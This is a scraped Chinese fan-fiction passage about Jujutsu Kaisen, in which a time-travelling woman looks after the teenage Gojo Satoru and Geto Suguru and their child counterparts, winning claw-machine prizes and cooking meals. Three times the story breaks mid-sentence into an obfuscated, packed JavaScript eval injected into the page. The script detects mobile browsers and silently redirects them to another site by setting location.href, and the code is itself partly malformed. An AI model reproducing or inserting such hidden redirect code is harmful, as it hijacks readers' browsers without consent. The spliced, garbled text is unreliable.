就在沈清荷打算提议回高专时,幼年杰的声音响起,“妈妈,我想要那个狐狸。” 她还没有回过神,幼年悟已经朝着另一边跑去,“妈妈,我要那个戴墨镜的猫!” 顺着幼年五夏的视线望去,沈清荷发现幼年悟站在一个装着猫咪玩偶的娃娃机面前,而幼年杰手指的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041405|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向则是一台塞满狐狸公仔的机器。 “妈妈,你会抓娃娃吗?”幼年悟说着就把装着游戏币的篮子递到她面前,“妈妈,我想要那个猫咪,你给我抓一个好不好?” “妈妈,我也想要那个狐狸。”幼年杰说着也拉住她的衣袖。 沈清荷看着他们两人一脸期待地样子,伸手揉了揉他们的脸,语气无奈又纵容,“好好好,我给你们抓。” 沈清荷站到猫咪玩偶娃娃机面前,投入三个游戏币。操纵杆在她手中稳而轻巧的移动,对准、下落、抓起,一气呵成。一只戴着迷你墨镜的白猫玩偶应声掉进出口。 “妈妈好厉害!”幼年悟抱着猫咪玩偶,“谢谢妈妈!” “这不过是概率问题,没什么可得意的!”五条悟不知何时晃到了旁边,单手插兜,墨镜下的嘴角带着惯有的、懒洋洋的弧度,“换老子来,肯定也能抓上来。” “那爸爸妈妈比赛吧!”幼年悟眼睛一转,突然扬起声音,“五分钟,看谁抓得多,怎么样!” “对呀,比一比!”幼年杰也跟着笑起来,两个人的眼里都带着期待。 沈清荷一听,脑海中蓦地就想起早上的那场较量,体术她肯定比不过五条悟,但是抓娃娃,她肯定能赢。 她将目光落在五条悟身上,“五条同学,敢不敢比,五分钟内看谁抓得多。” “比就比!”五条悟哼笑一声,站姿未变,周身却漫开一股张扬的、跃跃欲试的气场,“老子会怕?别忘了,老子可是‘最强’。” 沈清荷接过幼年五夏递过来的游戏币,在他们两个人指令下正式开始进行抓娃娃比赛。 沈清荷算是此中高手,抓住一起一落,虽然不是百分百中,但是三次至少有一次能够抓住娃娃。 两个人的比赛很快吸引了别人的驻足围观,夏油杰拉着幼年杰站在稍外侧,目光温和地掠过眼前的景象,悄悄举起手机。将抓住抓娃娃的沈清荷,略显急躁却仍不服输的五条悟,以及两个雀跃的孩子一同框入镜头。 “爸爸,你太差劲啦!”幼年悟趴在幼年悟的那台机器玻璃上,毫不留情的实施“垃圾话”攻击,“现在才抓上来两个,妈妈都已经八个了。” “闭嘴!小鬼!”五条悟又一次落空,盯着晃晃悠悠缩回去的爪子,哼了一声。 “妈妈加油!”两个孩子的声音叠在一起。 围观的人群里也响起低低的议论。 “这位小姐姐好厉害,看着好熟练!” “旁边是她男朋友吗?抓不到的样子有点好笑,但又莫名觉得可爱诶。” “时间到!”幼年五夏同时喊出声,像是两个最公正的小裁判,“妈妈抓了十二个,爸爸抓了六个,所以是妈妈胜利!” 话音落下,两个孩子先自己击掌表示快乐。 看着五条悟一脸傲娇又别扭的样子,沈清荷抬手从旁边的手推车里拿出一个臭屁戴墨镜猫递到他面前,“五条同学,我看这猫和你气质好很搭配,送给你了。” 不等对方反应,她又找出同系列里另一只造型不同的白猫塞进幼年悟怀里。接着是两只狐狸,一只给了夏油杰,一只给了幼年杰。 “谢谢妈妈!”两个孩子齐声道谢,紧紧抱住属于自己的那份礼物。 五条悟低头看了看手里那只表情校长的墨镜猫,手指捏了捏他软绵绵的耳朵,半晌,才从鼻子里哼出一声,“嘛,还成吧。” 夏油杰看着手中眯眼微笑的狐狸,指尖轻拂过它毛茸茸的尾巴,随即抬眸看向沈清荷,唇角扬起一个温柔的弧度。 “谢谢,沈小姐。”他轻声说,“这只狐狸,很可爱。” 沈清荷看着站在面前的大小两对最强。 昨日穿越带来的那些恐慌已经慢慢褪去,取而代之的是今天“日常”里纯粹的快乐。 也许恐慌不会就此消失,未来的变数依然令她隐隐畏惧,但至少在这一刻,她是真快乐着。 至少在这一刻,他们无论是dk还是幼年,都站在她触手可及的地方。 至少此刻,在那个未来到来之前,这就足够了。 9. 9.那边的故事 回高专的路上,沈清荷带着幼年五夏和夏油杰坐在后座上,也许是因为玩了一天,幼年五夏已经一左一右的挨着她睡着了,呼吸清浅均匀,全然毫无防备的模样。 她看向车窗外倒退的风景,脑海中浮现出五条悟刚才的那张脸。 她是真的没有想到五条悟竟然也会有这么幼稚的时候,或者说因为带着“最强”的光环,所以在每一件事情上都想要做到最好。 “幼稚”两个字像是被拨动的琴弦,让她又想起了原著中28岁的五条悟。 是学生们口中随性又强大的“五条老师”,是已经失去挚友的五条悟,是那个在“百鬼夜行”之后,告诉乙骨忧太,“①夏油杰是他唯一挚友”的五条悟。 如果夏油杰没有叛逃,没有发动百鬼夜行,那28岁的五条悟是不是也会像现在这样幼稚。 也许他们两个人会一起成为高专的老师,也许他们会用自己的方式培养下一代咒术师,五条悟依旧是那个“天上天下唯我独尊”的样子,而夏油杰肯定也会是记忆里的温柔模样。 但所有的一切都在他们的dk时期有所改变,星浆体的死、灰原雄的死、九十九由基说的那些话,还有最终让夏油杰走上诅咒师导火线的村民虐待菜菜子、美美子的事。正是这些碎片,拼凑成夏油杰走上“创造只有咒术师世界”的道路。 虽然她在这个世界里只是一个没有咒力的“猴子”,但是她也想要凭借这双手,凭借“已知”去稍微改变一下他们“已知”的未来。 她是变量,而幼年五夏更是变量,虽然她至今都不知道幼年五夏来自何处,为什么执着的将她和这个时代的五夏绑在一起,但既然他们三个人都是“变量”说不定真的能够创造一个新世界,亦或者说改变“未来”。 “清、清、妈、妈。”五条悟拖长语调,苍蓝的六眼在暮色里微微眯起,向锁定目标的大型猫科动物,“你在透过老子看谁?” 听见五条悟的声音传来,沈清荷抬头望去,眉眼弯弯,“我在想五条同学十年后是什么样子,是不是也和现在一样是最强。” “哈?”五条悟眉梢一挑,嘴角扯出个理所当然的弧度,“这还用想?不管是十年、还是二十年,或者一百年,老子一直都是最强!还有杰!我们可是最强搭档。” 听着五条悟的话,沈清荷唇边的笑意更深了些,“我也这么觉得。五条同学和夏油同学这么厉害,不管是十年后还是二十年后,都一定会像现在这样并肩同行,是咒术界的最强。” “那是当然。”五条悟扬起下巴,自信几乎要满溢出来。 抵达高专结界门口时,沈清荷本想要把幼年五夏叫醒,可谁知五条悟、夏油杰两个人直接一左一右的分别抱了一个。 幼年悟在睡梦中无意识的蹭了蹭五条悟的肩窝,寻了个更舒服的姿势。五条悟的身体微微一滞,随即别过脸,耳根在昏暗的光线下有些泛红,语气却还是那么理直气壮,“看什么看?老子的‘儿子’,当然老子自己抱!” 夏油杰则是小心调整幼年杰的姿势,让他睡得更安稳些,闻言抬眸,温和地笑意也带着几分安抚。 沈清荷没再说话,提着几个零食袋子着跟在他们的身后。 “五条同学、夏油同学,等到你们下次有空,或者没有任务的时候,我们再一起出去玩儿吧,就像今天一样,是‘最强放风日’。” “好啊!”五条悟回过头,苍蓝眼睛在廊灯下熠熠生辉,唇角扬起肆意的笑容,“下次抓娃娃,老子一定赢你,清清妈妈。” “那我等着哦~”沈清荷眉眼含笑。 抵达女生宿舍时,沈清荷先把属于他们的购物袋放置好,而他们两个人则是把幼年五夏小心翼翼的放到了床上。 幼年五夏,还说了一句,“爸爸,妈妈。” 五条悟看着幼年悟本来想要伸手弹一下他的脑袋,可在听见“爸爸”的时候,手却悬空着没有落下,“清清妈妈,老子和杰先回去了。” 夏油杰临走时将目光落在她身上,温声道,“沈小姐,今天我们很开心。” 沈清荷看着他们两个人笑着点点头,“今天谢谢你们。”说着就对着他们鞠躬。 “对了,清清妈妈,别忘记明天给老子复刻草莓芭菲,你可是说过要给我复刻‘特制版’的。”五条悟又转身看了她一眼。 “没问题,保证给五条同学复刻出一模一样的‘特制版’草莓巴菲。” 目送着两个人远去的身影,沈清荷又将目光落在幼年五夏身上,她盯着两个人的侧脸看了一会,这才起身去洗漱,换上睡衣。 今天这些衣服、终端全都是由五条悟“赞助”的,虽然幼年五夏说的理智气壮,但是她怎么好意思一直麻烦五条悟,她扫了一眼最后放在旁边的一个女式钱包,那是五夏看中送给她的礼物,里面还有他们两个人“赞助”的零花钱,尽管她拒绝好多次,但被幼年五夏接下来。 如果一直留在高专,她就没有赚钱的方法,没有赚钱的方法,那不就代表着,只能依靠五夏两个人? 但在这个世界,她是个黑户,就算她真的有能力去处理什么事,谁又会聘用一个黑户呢。 在睡觉之前,沈清荷想的是,如果真的不能离开高专,那就用她最擅长的东西,来为日后会分道扬镳的“最强”构建一个属于他们的“日常”,即便没有改变未来,那日后他们是否也会想起曾经发生在这里的一切。 因为夏油杰临死之前,告诉五条悟,“他并不恨高专。” 她转头看向身侧的幼年五夏,喃喃自语,“小悟,小杰,如果是你们的话,又会怎么做?你们又为什么那么执着的将我和他们绑定在一起?” 她的手落在幼年悟的上方,本想要伸手揉了揉他的脑袋,可却在看见他安静的睡颜时,彻底断了这个念想。 “如果注定要走上那样一条路,那么我希望在那个未来到来之前,也能够因为我们的存在而产生蝴蝶效应。” 脑海中想着着这些事,沈清荷也逐渐的进入梦乡。 沈清荷均匀的呼吸声响起时,幼年五夏几乎是同时睁开了眼睛。 “杰,我好像从来没有见过这么开心的清清。”幼年悟坐起来将目光落在沈清荷的侧颜上,“在我们那个失败的世界里,她虽然也在为我们构建日常,我们也尽量满足,但总觉得现在的她更开心。” “是因为我们。”幼年杰也将目光落在沈清荷身上,“在我们的世界里,只有我们和小清,而那个时候我们不知道她背负的一切,现在她虽然背负着一切,但我们也知道那样的‘未来’,哪怕不能告诉她。” “这个时代的我,也开始觉得清清有趣了,虽然他不承认。”幼年悟一脸感慨,“所以当我说出清清是一颗小石头的时候,他还觉得非常吃惊,毕竟这句话我只在你的面前说过。” “至于我的‘大义’目前尚未萌芽,亦或者说还没有产生那么强烈的阴影。”幼年杰透过窗户将目光看向五夏的宿舍方向。 “但之后星浆体的死、灰原的死,还有九十九前辈说的那些话,以及菜菜子、美美子的事,都会让他的信念动摇,以至于最后成为‘故事’里的夏油杰。” “这么想还是老子比较惨,‘故事’里你被那个该死的脑花占据身体,老子被封狱门疆,竟然还在最后决战的时候被……”他没说下去,只是别过脸,小手攥紧了被单。 “那就是没有小清介入的,本就该属于我们的结局吧。”幼年杰说着又将目光落在沈清荷的侧脸上,“但是小清不知道我们也知道‘故事’。” “反正我们和清清都是变量。”幼年悟抬手碰了碰沈清荷的侧脸,“而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041406|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们这一次要做的就是改变属于我们的未来,而不是故事里的未来。” 幼年杰看了一眼幼年悟,两个六岁孩童的手互相交叠在一起,“嗯,我们这次要改变我们的未来,因为故事里的未来早就因为小清的到来而改变了。” 幼年五夏看了一眼身侧的沈清荷,也都闭上眼睛。 与此同时,男生宿舍。 五条悟盘着腿坐在床上,怀里抱着沈清荷送给他的那只猫咪玩偶,将目光落在夏油杰身上,“杰,今天那个小鬼和我说了一件事。” “什么事?”夏油杰将目光落在五条悟身上。 “那个小鬼知道我昨天晚上对清清妈妈的评价,知道我对她的评价是小石头。”五条悟说到这里就抓了抓脑袋,“老子现在非常不爽,总觉得那两个小鬼和清清妈妈都知道我们不知道的事。” “我今天也从小杰的身上感觉到不符合他六岁儿童溢出来的悲伤,那种悲伤就像是痛失所爱。”夏油杰斟酌字词。 “那个小鬼也是。老子承认的确觉得清清妈妈有趣,毕竟她一点都不害怕老子,竟然还敢和老子打架!”五条悟撇撇嘴,手指无意识的收紧,玩偶的耳朵都被捏得微微变形。 夏油杰看向窗外的夜色,声音缓和下来,“我觉得在沈小姐的眼中,我们可能不是什么‘六眼’、‘咒灵操使’,甚至都不是‘最强’,只是‘五条悟’和‘夏油杰’两个十六岁的dk。” 五条悟听着夏油杰的话,又将目光落在手边的猫咪玩偶身上,脑海中却浮现出她在跳舞机上那灵动鲜活的样子。 “那不是挺好的嘛,不管是‘六眼’、‘咒灵操使’还是‘最强’本来就是加注在我们身上的光环,而清清妈妈看见的是我们的本质。”他说着就拆开一袋零食吃了起来。 “都已经这么晚了,你还要吃零食?”夏油杰将目光落在五条悟身上,言语里透着几分无奈。 “老子就要吃!”五条悟说着就拿着薯片吃了起来,“白天消耗那么大,晚上补充点能量怎么了?” “悟,你觉得未来的我们会是什么样的?” 听着夏油杰响起的声音,五条悟将目光落在他身上,“哈?之前不是说过了嘛?我们可是最强,是挚友!不管是十年、二十年还是一百年,我们都会是挚友。” 闻言,夏油杰将目光落在五条悟的身上,“说的也是,我们会一直是最强,一直是挚友。” “等到十年后,我们一起改革咒术界,让那些老橘子统统消失。”五条悟看了一眼夏油杰脸上带着几分认真,“我们会一直是最强。” 五条悟也不给夏油杰开口说话的机会,“杰,老子这辈子只认你这一个朋友,至少现在老子都是以你的善恶论为参照的,要是哪天你离开老子,那老子一定会很孤独。”他说着又把薯片塞进嘴里。 闻言,夏油杰笑了出来,眼底带着暖意,“是是是,悟你也是我这辈子唯一的挚友。” “那是!我们可是最强。” 夏油杰拿着狐狸公仔回到隔壁宿舍时,就把狐狸公仔放在床上。 他看了一眼手中的狐狸公仔,脑海中又不由得浮现出沈清荷那明媚灿烂的笑脸。 他捏了捏狐狸公仔的尾巴,口中喃喃自语,“果然比祓除一百只咒灵还要有趣的事情呢。” 沈小姐,还有那两个孩子,身上背负的肯定不像是他们现在看见的这样。 尤其是那两个孩子,虽然的确六岁孩子的模样,但是他敢肯定,他们绝对不是表面上看见的这样。 他们的身上到底背负了什么秘密? 又为什么执意将他们和沈小姐绑定在一起? 看来明天又会是很有趣的一天。 至少他们三个人,是他们两个最强枯燥无聊的祓除任务里,唯一能够感受到的乐趣。 10. 10.构建的日常 次日清晨。 熟练的生物钟让沈清荷五点钟就睁开了眼睛。 昨天晚上是来到这个世界的第二夜,也许是因为昨天太累,亦或者是其他原因,她竟然一夜无梦。 她转头看了一眼睡在身侧的幼年五夏,今天早上两个人的睡姿比昨天好了不少,但依旧在踢被子,她唇边噙着些许笑意,把两个人的被子往上拉了拉。 许是感觉到些许暖意,幼年五夏拉住被子的瞬间,还呓语了一句,“妈妈。” 沈清荷的心蓦地一软。她不知道幼年五夏的来历,甚至不明白他们为什么如此粘着她,但既然他们如此依赖着她,她就在暂时在弄清楚真相之前,担任“临时监护人”的身份。 她洗漱好,换上昨天新买的运动服,向薄雾未散的训练场走去。 她调息,静心,先练习一遍太极拳。动作舒展后,又站到水缸前,掌心落在水面上,以意运气,在水中漾开波纹。 她在练习水中太极时,脑海中想起昨天发生的种种,从童装店、到甜品店,又到最后的游戏中心。 他们是“六眼”、是“咒灵操使”、是“神子”,是人人都敬畏的“最强”,是咒术界最厉害的工具。 可后来呢? 五夏在原著中最终因为理念不同而分道扬镳,可他们始终都认为对方是唯一的挚友。 唯一的挚友,多么沉重的词语。那明明应该是并肩同行的挚友,可他们最后却落得那样悲惨的下场。 夏油杰在百鬼夜行身亡之后,因为五条悟的缘故,被脑花占据身体; 而五条悟,那个口中一直喊着“天上天下唯我独尊”的最强,最后竟然落得一个腰斩的下场。 而她一个从21世纪穿越而来的,没有咒力的猴子,只能靠着已知“剧情”的外来者,真的能够通过这双手来达成拯救的目的吗? 但就算如此,她也想要用旁观者的角度来为他们做点什么,至少在那个苦夏、那个未来到来之前为他们做些什么。 沈清荷心中想着这些事,水中的漩涡伴随着她手中的动作漾开层层涟漪,在最后一步收势时,她将手搭在水缸上,那水缸瞬间就在她的手下化成碎片。 喷出来的水溅了沈清荷一身,就在她思考该拿什么赔偿时,就听见一道欠揍的声音响起。 “哟,清清妈妈。”一道拖长了的调子,听着就令人手痒的声音从旁边飘过来。 “一大早又在玩水?” “杰,你看清清妈妈现在像不像是一只落汤鸡?” 沈清荷抬眸望去就看见五条悟和夏油杰两个人站在不远处,五条悟墨镜滑到鼻梁处,那双六眼正在饶有兴致的打量着她,嘴角还带着恶劣的弧度,而夏油杰站在他的旁边,眼神一直落在她身后的水缸上,眼里带着几分探究。 听着他的话,沈清荷抹了一把脸上的水,抬眸瞪过去,“五条同学,你知道你现在看上去很欠揍!” “哈?”五条悟挑眉,站直身体,朝她走进两步,居高临下的看着她,笑容更加灿烂,带着明目张胆的挑衅,“那你来打我呀~清清妈妈。” 看着站在面前的五条悟,沈清荷将原著中那点“疼惜”的瞬间抛诸脑后。 她抬脚对着他那双小白鞋就踩了过去。 “踩不到,踩不到~清清妈妈踩不到~略略略”五条悟一边躲着她的攻击,一边对着她做鬼脸。 沈清荷气急败坏的追着五条悟绕着水缸跑了两三圈,但她就是踩不到五条悟的鞋面。 “五条悟,你该不会以为我只会太极拳吧!”沈清荷气得撸起湿透的袖子,露出纤细的小臂。 “哦?”五条悟停下脚步,看了她一眼,“那清清妈妈你还会什么?” “我今天就让你知道什么是真正的中国功夫!” 沈清荷说着就像五条悟攻击而去,她用自己的组合技对付五条悟。 一时之间,训练场上拳风腿影,沈清荷将所学的几种格斗技巧融合运用到极致。 每一次,她都觉得自己即将突破她的防御时,下一瞬,总会被一层无形的屏障隔开,卸去所有的力道。 “五条悟,你耍赖!你使用无下限!你这算是作弊!你这样我怎么可能碰得到你!” “没说不能用哦~”五条悟依旧是那副欠揍的样子,“是清清妈妈技不如人~”五条悟说着又再次躲开了她的攻击。 沈清荷追着她打了一会,勒得气喘吁吁,却连他的衣角都没有碰到,反而自己因为湿透更加狼狈。 她终于放弃,停下脚步,等着几步外校长的五条悟,“算了!我才不和你这个幼稚的鸡掰猫计较!” “爸爸/父亲又在欺负妈妈!”幼年五夏穿着昨天买的童装手牵手的一起向这边跑过来。 “妈妈,你受伤了吗?怎么一身水?”幼年悟说着就将目光落在沈清荷身上,随后又将目光落在站在一边的五条悟身上,“爸爸,你怎么能欺负妈妈!” “哈!老子才没有欺负她呢!老子这是在……”五条悟支吾半天也没有能说出一句完整的话。 他刚才在干什么? 竟然用那么幼稚的方式去逗清清妈妈玩? “妈妈,你没事吧?”幼年杰一脸担忧地看向沈清荷,“怎么水缸破了?” 沈清荷这才又将注意力重新放回水缸上,虽然练习水中太极,能够达到以“气”碎缸程度,她学习太极拳十四年,也玩坏了很多水缸,但今天这个可能真的是没有控制力度。 “你们知道中国的修炼体系吗?就是那种普通人可以修炼成神的那种,妈妈呢,从筑基修成了金丹,所以这水缸因为承受不住妈妈的‘气’所以它就碎了。” 沈清荷说的玄乎,“等到在修炼到一定程度,能够以气驭剑,御剑飞行,超帅的!就像仙侠剧那种!” 幼年五夏听得相当认真,一脸惊叹,非常配合的开口,“妈妈好厉害!” “哈!清清妈妈你就说这样话骗这两个小鬼?以气驭剑?御剑飞行?你连咒力都没有。”五条悟精准打击。 “御剑飞行是靠‘气’哦,五条同学。”沈清荷将目光落在五条悟身上,故意学着他的调子,“和你们这种咒力是不同体系哦。你身为最强,怎么可能会共情我们普通人呢~” “哈?”五条悟被噎得一句话也没有说出来,“清清妈妈,你是故意的吧!” 沈清荷学着五条悟刚才的样子,做了一个鬼脸,“略略略~是又怎么样。你还能打我不成?”言语中尽是挑衅。 看着想要上前的五条悟,幼年五夏看了他一眼,“爸爸/父亲,不要欺负妈妈!” “沈小姐,清晨风凉,沈小姐的衣服都湿了,还是赶紧回去换衣服,免得着凉。”夏油杰倒是温和的开口。 一阵风吹来,沈清荷觉得的确是冷了几分,她抬头看向站在一边的五夏二人,“那我就先回去换衣服了。” 临走前,还不忘记回头,冲着吃瘪的“最强”又悄悄做了一个鬼脸。 换好衣服,洗了一个热水澡,沈清荷牵着幼年五夏的手向高专食堂的方向走去。 昨天晚上去放食材时,她就发现冰箱已经被塞得满满当当,都是五条家送来的高级食材,排骨、豆腐、鸡肉、高品质的菠萝。 沈清荷敏锐的察觉到,旁边闲置不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041407|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知多久的旧冰箱也开始运转。 “妈妈,今天早上吃什么?”幼年悟牵着沈清荷的手小声询问道,“今天爸爸和父亲要出任务,妈妈可以多做一点。虽然高专食堂的饭菜也不错,但是妈妈做的早餐,他们一定更爱吃!”他说的理所当然,仿佛这是天经地义的事。 “出任务?”沈清荷将目光落在幼年悟身上,“你怎么知道今天他们有任务?” “猜的呀。因为高专的任务千奇百怪嘛,爸爸和父亲又是最强,所以他们的任务肯定最多。”幼年杰坐在一边开口,“而且高层的老橘子只会一直想着压榨他们两个人。” 听着幼年五夏的话,沈清荷的脑海中想起“原著”中的一些剧情,也能从里面窥探到一些真相。 “好,那我就给你们和他们做鸡蛋饼怎么样?我们昨天在超市里买了牛奶~正好是绝配。”沈清荷说着就打开冰箱开始调面糊。 她将鸡蛋和牛奶混合在一起,在旁边的锅上开始摊饼,每一张鸡蛋饼都大小均匀。 沈清荷刚把所有的鸡蛋饼都做好,就听见五条悟和夏油杰的声音传来。 “区区二级咒灵也要我们去祓除,那群老橘子真是闲的没事干了。” “毕竟我们最强。”夏油杰温声开口,“①咒术是为了保护非术士而存在的。” “哈,你这种是正论吧,老子最讨厌正论了。”五条悟嗤笑一声,语气里满是毫不掩饰的抵触。 ——咒术是为了保护非术士而存在的。 沈清荷端着盘子的手一滞。 这还是她第一次从夏油杰的口中听到这句话,如此清晰又理所当然。这边事他最初的信念、纯粹又坚定。 但最后因为星浆体的死、灰原雄的死、九十九由基那些似是而非的话,还有菜菜子、美美子的那些事,一桩桩、一件件都成了最后压垮夏油杰的最后一根稻草。 最后他杀了那些村民,又亲手斩断自己的“血缘”,最后成为了盘星教的“教主”。虽然教主杰也很帅,但是那终究也是一条与挚友背道而驰的未来。 但明明他们是挚友,明明能够一直并肩同行,明明最初五条悟的善恶论都是以夏油杰为基准,可最后他们还是分道扬镳。 “清清妈妈,你又在做什么好吃的~” 五条悟的声音让沈清荷回过神来,她抬眸望去看了他一眼,眉眼弯弯。 “今天早上是鸡蛋饼还有牛奶,我刚才听说你们有任务,可以吃一些,管饱。” “老子才不要吃这个东西!”话虽如此,五条悟却还是用手拿了一块鸡蛋饼放进嘴里。 尽管隔着墨镜,但沈清荷就是觉得他的眼睛亮了几分。 “五条同学,你不说不要吃这个东西的吗!”沈清荷说着就拿着锅铲去打五条悟的手,“如果不吃就请还给我!” “诶~老子就要吃!清清妈妈你打我呀~”五条悟吃着鸡蛋饼口齿不清的说着。 “沈小姐费心了,鸡蛋饼很好吃。”夏油杰也是含糊不清地开口。 “那就多吃点,这个饼方便携带,你们出任务的时候也可以吃。”沈清荷依旧是眉眼弯弯的模样,“我做了很多。” “爸爸,妈妈的料理最好吃了!”幼年杰看着夏油杰一脸认真的开口,“妈妈还会做很多很多料理。” 吃完早餐两个人转身离去,沈清荷目送着他们远去的背影,眉眼间染上笑意。 也许闲杂她什么也做不了,只是一个没有咒力的猴子,那么她就以旁观者的身份,去为他们构建更多的日常。 这样日后他们回忆起来的时候,是不是也会第一时间想起这些温暖的瞬间? 11. 11.温暖的心思 目送五夏离开后,沈清荷就开始处理午餐需要的食材。然后又开始着手准备豌豆黄、栗子糕的食材,以及答应过要给他们复刻草莓芭菲和舒芙蕾。 “妈妈,今天中午吃什么?”幼年悟趴在桌子上仰头看向站在灶台前的沈清荷,“妈妈在准备豌豆黄和栗子糕吗?” “是啊。”沈清荷眉眼弯弯,“昨天不是答应要给你们做豌豆黄和栗子糕,还有给五条同学的草莓巴菲。” “妈妈,你觉得爸爸和父亲他们是什么样的人?”幼年杰放下手中的终端将目光落在沈清荷身上。 沈清荷动作微顿。 “说起来很可笑,他们在我眼里不是‘六眼’、不是‘咒灵操使’、也不是‘最强’,只是两个名叫‘五条悟’和‘夏油杰’的笨蛋dk。” 她早就已经通过漫画认识过他们,所以她根本就不在那些光环,她在意的始终都是光环之下,他们做为“人”的那一部分。 “怀玉玉折篇”开始的时候,他们也不过是十五六岁的少年。 如果他们不是咒术师,现在是不是也就和普通学生一样?为学业烦恼、为琐事嬉闹,为一点甜食开心一整天。 她继续手中的动作,“我知道这在你们看来有点可笑,他们可能甚至都不需要这些东西,可我身为旁观者,唯一能够为他们的做的也只有这些。” 她没有注意到幼年五夏眸中一闪而过的神色,也没有注意到他们的眼底深处沉淀着不属于六岁孩子的巨大悲伤。 沈清荷的动作很快,她很快就将豌豆上锅,然后开始处理鸡肉和其他食材。 她一边做饭一边和幼年五夏聊天,都是他们两个人在和她分享这个世界的奇妙之处。 她觉得始终无法融入这个世界中,因为她知道,她的根并不在此处,她永远只是这个世界的过客。 就和来到这个世界一样,也许某一个时间节点,她就会突然消失不见。 沈清荷做好午饭,除了他们自己所需要的之外,她还额外给五夏留了一份,毕竟工作(任务)回到家(高专)的时候,都希望吃上一份热乎乎的熨帖的餐食。 “妈妈,这个菠萝咕咾肉好好吃。”幼年悟吃着小嘴塞得满满的,“口水鸡也好吃。” 沈清荷拿起放在旁边的纸巾擦了一下他的嘴,“慢点吃,还有呢,五条同学、夏油同学的那份我单独留了出来。” 她顿了顿之后又继续开口,“不过也不见得他们会吃吧。”说到这里,沈清荷状似无奈的摇摇头。 “妈妈你放心,爸爸和父亲会吃的。”幼年悟看着沈清荷想也不想地开口,“高专食堂的情况你也看见了,过了饭点就关门不会再开火,他们不会单独给最强做饭,也不会像妈妈这样想着他们。” 听着幼年五夏的话,沈清荷伸手揉了揉他们的脑袋,“可惜除了这些之外,我什么也做不了,我不能跟着他们一起出去执行任务,甚至还有可能给他们添麻烦。” “才不是。”幼年五夏几乎异口同声地开口。 不是这样的,清清,你以后还会为我们做很多、很多你想象不到的事,甚至为了我们放弃自己的生命; 小清,你已经为我们付出很多,在我们的那个未来里,你也在一步一步的在为我们构建“日常”,那个未来已经改变了。 我没有叛逃高专、悟也没有被腰斩,灰原、七海、还有那些你珍惜并一直爱着的学生们也都好好的活着,也都答应要替你守着这个世界。 只是为什么你不在了呢? 察觉到幼年五夏两个人的情绪,沈清荷把他们揽入怀中,伸手拍了拍他们的后背,“好好好,那我就争取为你们做更多好不好?” 她说出这些话的时候,就忍不住打了一个呵欠,“我回去睡一会,等一下五条同学和夏油同学回来,你就告诉他们,还留着饭,草莓巴菲和舒芙蕾等一下做。” “妈妈快去休息,我们在这里等着爸爸和父亲。”幼年五夏几乎是异口同声地开口。 沈清荷看着他们两个人眉眼间染上笑意,“好~那我去睡一会,有什么事情打我电话就行。” 目送着沈清荷远去的身影,幼年五夏就一直坐在高专的食堂里。 下午一点左右,五条悟和夏油杰几乎同时出现在高专。 五条悟吃着手里的喜久福,看了一眼毫无烟火气的食堂方向,“这个时候应该没饭了吧。” “说不定还有加热饭团。”夏油杰一脸无奈,语气里带着一丝淡淡的倦意和了然,“毕竟在他们的眼中我们是‘最强’可能都不需要吃饭睡觉的那种。” 五条悟烦躁的抓了抓头发,又递一个喜久福给夏油杰,“吃吧。” 夏油杰接过挚友递过来的喜久福,将它吃了下去。 他们本想要去食堂看看还剩些什么,却看见幼年五夏的身影坐在靠窗的位置一人拿着一个终端在玩游戏。 “爸爸、父亲你们回来了。”幼年五夏抬眸看向他们两个人。 幼年悟指了指旁边的保温桶,“妈妈给你们留了饭菜,现在应该还热着。” 五条悟明显愣了一下,“清清妈妈留了饭?” “嗯,妈妈说你们执行任务回来食堂应该没有饭菜了,所以给你们留了一人留了一份。”幼年五夏说着就把保温桶推到他们的面前,“妈妈就是天底下最好的妈妈。” 五条悟和夏油杰坐下来打开保温桶瞬间,温热的香气扑面而来。 是她昨天答应要做给小鬼们要吃的菜。 菠萝咕咾肉、糖醋里脊、口水鸡还有肉末豆腐。 “谁知道好不好吃。”五条悟说着就夹了一筷子,菠萝咕咾肉的酸甜可口,口腔里充斥着菠萝的酸甜,瞬间就抚平了饥饿与疲惫。 “沈小姐真的是费心了。”夏油杰看着面前温热的饭菜,脸上露出一个温和的笑容。 “清清妈妈她人呢?”五条悟吃着面前的餐食,又将目光落在对面的幼年五夏身上。 “妈妈去午睡了,说等到下午再给我们复刻草莓巴菲和舒芙蕾。”幼年五夏的声音几乎同时响起。 五条悟和夏油杰很快就将沈清荷他们保留的午餐消灭干净,两个人看着坐在对面的幼年五夏。 五条悟单手支着下巴,六眼透过小圆墨镜,没什么情绪地落在对面幼年五夏身上,“喂,小鬼,你们为什么执着把我们和清清妈妈绑在一起。” 